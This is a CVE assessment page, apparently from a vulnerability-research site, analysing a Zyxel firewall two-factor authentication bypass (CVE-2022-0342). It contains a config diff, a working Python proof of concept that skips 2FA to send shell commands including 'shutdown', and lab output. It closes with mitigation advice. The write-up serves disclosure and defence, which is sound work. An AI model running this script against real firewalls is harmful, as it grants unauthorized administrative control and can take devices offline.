Attacker Value
Very Low
(1 user assessed)
Exploitability
Very Low
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2022-0342

Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Validated

Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

Add Assessment

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Technical Analysis

On March 29, 2022, Zyxel released a security advisory for an authentication bypass vulnerability affecting a handful of their firewall and VPN products. The vulnerability, assigned CVE-2022-0342, is described as allowing a remote attacker to obtain administrative access to the system, and was assigned a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

We believe widespread exploitation of this issue is unlikely. While there are a fair number of affected firewalls visible on Shodan, our analysis suggests that exploitation requires a specific configuration and partial authentication. Most firewalls will not be affected. There are currently no reports of this vulnerability being exploited in the wild, and, before this write-up, no public proof of concept existed.

Analysis

The most obvious change in Zyxel’s patch was this modification of the web server’s apache configuration file:

diff -u ~/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf ~/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 
--- /home/albinolobster/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-01-04 01:24:55.000000000 -0800
+++ /home/albinolobster/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-03-14 13:26:04.000000000 -0700
@@ -24,7 +24,8 @@
 AuthZyxelRedirect /
 AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \
 /libcdr_blockpage.cgi \
-/cdr_cloud_block_page.html \
+/libcdr_blockpage.html \
+/libcdr_cloud_blockpage.html \
 /2FA-access.cgi \
 /webauth_ga.cgi \
 /fbwifi_error.cgi /fbwifi/ \
@@ -40,6 +41,8 @@
 /ztp/ /ztp/cgi-bin/ \
 /change-expired-password.html /chg_exp_pwd.cgi ext-js/web-pages/login/chgpw_expired.html /ext-all.css /ext-all.js /appLite.js zld_product_spec.js /showCLI.js /zyVType.js /persist-min.js /zyExtend.js /zyFunction.js /zyComponent.js /language_panel.js /ext-lang-en.js /language.js /login.css /custmiz_page.js /chgpw_expired.js /retrieveData.js /MultiSelect.js /ItemSelector.js /cmdStore.js /favicon.ico /PagingStore.js /zyform.js /ext-theme-classic-all.css /content_line.gif /content_bg.jpg /login_img.gif /login_bg.jpg /advance_bg.gif /reset.css \
 
+AuthZyxelSkipTwoFaPattern /ext-js/app/view/object/authmeth/twoFA/2FAVerify.html /ext-js/ext/ux/grid/FiltersFeature.js /ext-js/app/view/object/authmeth/twoFA/2FAVerify.js /ext-js/ext/ux/form/field/BoxSelect/BoxSelect.js /ext-js/ext/ux/toggleslide/ToggleSlide.js /ext-js/ext/ux/toggleslide/Thumb.js /ext-js/ext/ux/grid/menu/ListMenu.js /ext-js/ext/ux/grid/menu/RangeMenu.js /ext-js/ext/ux/grid/filter/DateFilter.js /ext-js/ext/ux/grid/filter/BooleanFilter.js /ext-js/ext/ux/grid/filter/DateTimeFilter.js /ext-js/ext/ux/grid/filter/ListFilter.js /ext-js/ext/ux/grid/filter/NumericFilter.js /ext-js/ext/ux/grid/filter/StringFilter.js /ext-js/ext/ux/grid/filter/Filter.js /ext-js/ext/src/zy2FAVerifyForm.js /cgi-bin/zysh-cgi \
+
 ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
 
 AddHandler cgi-script .cgi .py

This change introduces a second level of authentication for when two-factor authentication (2fa) is used. Corresponding changes can be found in Zyxel’s custom Apache module mod_auth_zyxel.so and the Zyxel command line shell cgi zysh-cgi.

Zyxel’s firewalls support 2fa on the administrative web interface via Google Authenticator. Like most 2fa systems, the admin user must first correctly enter their username and password before being prompted for a 2fa verification code:

2fa

On Zyxel’s firewalls affected by CVE-2022-0342, the admin user can execute Zyxel shell commands by sending HTTP POST requests to /cgi-bin/zysh-cgi without completing the 2fa verification. The following proof of concept demonstrates this by logging in as the admin user and ignoring the 2fa redirect. The script sends POST requests to execute the Zyxel shell commands show version and shutdown.

import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Use session since the initial login will give us an auth-tok
sess = requests.Session()

login_url = 'https://192.168.1.1/'
login_data = { 'username':'admin','pwd':'labpass1','password':'labpass1','pwd_r':'','mp_idx':0 }
headers = { 'Origin':login_url,'Referer':login_url }
resp = sess.post(login_url, data = login_data, headers=headers, allow_redirects=False, verify=False)

if resp.status_code != 302:
    print('Unexpected status code')
    exit(0)

print(resp.headers)
print(resp.text)

# Just start issuing commands :shrug:
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'show version','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

# Shut 'em down
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'shutdown','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

Using this script against our affected test USG Flex 100 generates the following output:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Set-Cookie': 'authtok=o+F36szSDU7Q6fPAt2ExkMkvgLZIN7YMKtFM26MRm9NckniEVqSaw1zCL7Kpt2OV; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.20(ABUH.0)','_build_date':'2022-01-04 18:51:35','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

If you are reading this, the shutdown command failed.
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

After the second OK response, the firewall powers off, therefore demonstrating the 2fa bypass.

When the firewall has been patched, the attacker can still issue some commands to zysh-cgi but it appears critical commands like shutdown have been disabled. Here is output against the patched firmware version 5.21:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Set-Cookie': 'authtok=zv8CJ2l2SUbsO3FIoedxTs4i94-RdQauJEM9BzlW9PV67ttFqVLH6UhRAZwpJRQL; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.21(ABUH.1)','_build_date':'2022-03-15 05:51:17','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

The cgi script still responds with OK but the shutdown is never actually executed.

Is that it?

With such a high CVSS score, it seems anticlimactic that the vulnerability is simply a 2fa bypass. It’s possible that we’ve overlooked a detail but, as far as we can tell, access to zysh-cgi requires a valid authtokand the firmware patch is almost entirely focused on this two-factor authentication mechanism. Zyxel included almost no other changes in this patch (interestingly the XSS didn’t get a CVE, but I believe you’ll find it in redirect.cgi):

changes

Zyxel’s method of disclosure does cause me to question if we’ve overlooked something though. The description they provided for this issue makes it sound like a critical vulnerability. They could have easily described this as a 2fa bypass instead of an “authentication bypass”, and therefore downplayed the criticality of the issue. But they didn’t. Are they just playing games with useless vulnerability descriptions (sadly the norm), or is there more to this issue than we’ve described? It could be that the 2fa bypass is simply a symptom of a more critical vulnerability. That wouldn’t surprise me, but I also don’t see it.

Conclusion

In this writeup we demonstrated an MFA bypass that was recently fixed by Zyxel firewalls. It’s reasonable to assume that vulnerability, at least in part, is CVE-2022-0342. While likelihood of exploitation of this particular issue is low, there are a number of things administrators should do to protect themselves from future Zyxel firewall vulnerabilities:

  1. Disable remote administration on the WAN interface
  2. Enable automatic update
  3. Enable two-factor authentication on the admin account
  4. Schedule weekly reboots of the firewall

General Information

Vendors

  • Zyxel

Products

  • USG/ZyWALL series firmware,
  • USG FLEX series firmware,
  • ATP series firmware,
  • VPN series firmware,
  • NSG series firmware

Additional Info

Technical Analysis